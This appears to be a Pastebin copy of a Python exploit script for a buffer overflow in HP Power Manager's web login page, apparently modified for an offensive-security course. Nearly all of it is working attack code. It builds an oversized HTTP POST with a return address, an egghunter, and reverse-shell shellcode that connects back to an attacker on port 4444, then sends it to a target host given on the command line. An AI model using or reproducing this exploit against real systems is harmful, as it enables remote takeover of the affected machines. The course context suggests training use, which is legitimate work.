Advertisement
Guest User

Untitled

a guest
Sep 18th, 2014
212
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.88 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3.  
  4. import sys
  5. from socket import *
  6.  
  7. print "HP Power Manager Administration Universal Buffer Overflow Exploit"
  8. print "ryujin __A-T__ offensive-security.com"
  9. print "-modified for offsec course"
  10.  
  11. try:
  12. HOST = sys.argv[1]
  13. except IndexError:
  14. print "Usage: %s HOST" % sys.argv[0]
  15. sys.exit()
  16.  
  17.  
  18. # met rvs shell to 4444
  19. PORT = 80
  20. RET = "\xCF\xBC\x08\x76" # 7608BCCF JMP ESP MSVCP60.dll
  21.  
  22. SHELL = ""
  23. SHELL += "n00bn00b"
  24. SHELL += "\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"
  25. SHELL += "\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
  26. SHELL += "\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"
  27. SHELL += "\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b"
  28. SHELL += "\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59"
  29. SHELL += "\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01"
  30. SHELL += "\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0"
  31. SHELL += "\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58"
  32. SHELL += "\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
  33. SHELL += "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
  34. SHELL += "\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33"
  35. SHELL += "\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
  36. SHELL += "\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
  37. SHELL += "\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40"
  38. SHELL += "\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0"
  39. SHELL += "\xa8\x10\x1b\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56"
  40. SHELL += "\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff"
  41. SHELL += "\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00"
  42. SHELL += "\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36"
  43. SHELL += "\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4"
  44. SHELL += "\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02"
  45. SHELL += "\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec"
  46. SHELL += "\xc3"
  47.  
  48.  
  49. EH ='\x33\xD2\x90\x90\x90\x42\x52\x6a'
  50. EH +='\x02\x58\xcd\x2e\x3c\x05\x5a\x74'
  51. EH +='\xf4\xb8\x6e\x30\x30\x62\x8b\xfa'
  52. EH +='\xaf\x75\xea\xaf\x75\xe7\xff\xe7'
  53.  
  54. evil = "POST http://%s/goform/formLogin HTTP/1.1\r\n"
  55. evil += "Host: %s\r\n"
  56. evil += "User-Agent: %s\r\n"
  57. evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
  58. evil += "Accept-Language: en-us,en;q=0.5\r\n"
  59. evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
  60. evil += "Keep-Alive: 300\r\n"
  61. evil += "Proxy-Connection: keep-alive\r\n"
  62. evil += "Referer: http://%s/index.asp\r\n"
  63. evil += "Content-Type: application/x-www-form-urlencoded\r\n"
  64. evil += "Content-Length: 678\r\n\r\n"
  65. evil += "HtmlOnly=true&Password=admin&loginButton=Submit+Login&Login=admin"
  66. evil += "\x41"*256 + RET + "\x90"*32 + EH + "\x42"*287 + "\x0d\x0a"
  67. evil = evil % (HOST,HOST,SHELL,HOST)
  68.  
  69. s = socket(AF_INET, SOCK_STREAM)
  70. s.connect((HOST, PORT))
  71. print '[+] Sending evil buffer...'
  72. s.send(evil)
  73. print s.recv(1024)
  74. print "[+] Done!"
  75. s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement